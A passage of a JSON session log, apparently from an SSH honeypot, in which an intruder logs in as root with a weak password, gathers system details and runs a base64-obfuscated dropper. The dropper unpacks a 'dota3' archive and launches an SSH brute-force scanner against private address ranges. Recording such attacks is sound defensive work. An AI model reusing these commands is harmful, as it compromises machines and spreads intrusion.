0.03, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 08:57 0.00s 0.03s 0.00s w"},{"seq":18,"at":"2026-08-20T12:08:21.865294+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:08:21.865858+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:08:22.182824+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:08:22.661124+00:00","kind":"output","latency_ms":477,"data":"64"},{"seq":22,"at":"2026-08-20T12:08:22.980359+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:08:22.981004+00:00","kind":"output","latency_ms":null,"data":"top - 12:08:22 up 8:58, 0 user, load average: 0.16, 0.16, 0.13\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 564 free, 392 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:08:23.298552+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:08:23.298857+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:08:23.617066+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:08:23.617697+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:08:23.936900+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:08:23.937748+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:08:24.256717+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:08:25.270325+00:00","kind":"output","latency_ms":1013,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:08:25.588592+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:08:26.265708+00:00","kind":"output","latency_ms":676,"data":"24G"},{"seq":34,"at":"2026-08-20T12:08:27.377532+00:00","kind":"input","latency_ms":null,"data":"echo \"root admin123.\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:08:27.694136+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:08:28.339036+00:00","kind":"output","latency_ms":644,"data":""},{"seq":37,"at":"2026-08-20T12:08:28.790926+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:08:29.526524+00:00","kind":"output","latency_ms":734,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":39,"at":"2026-08-20T12:08:29.845881+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:08:30.642064+00:00","kind":"output","latency_ms":795,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":41,"at":"2026-08-20T12:08:30.960516+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:08:31.277610+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:08:31.876086+00:00","kind":"output","latency_ms":597,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":44,"at":"2026-08-20T12:08:32.193950+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:08:32.783310+00:00","kind":"output","latency_ms":588,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":46,"at":"2026-08-20T12:08:33.103896+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:08:33.663419+00:00","kind":"output","latency_ms":558,"data":""},{"seq":48,"at":"2026-08-20T12:08:41.367637+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:08:41.368743+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"admin123.","method":"password","accepted":true,"tier":"other"}]}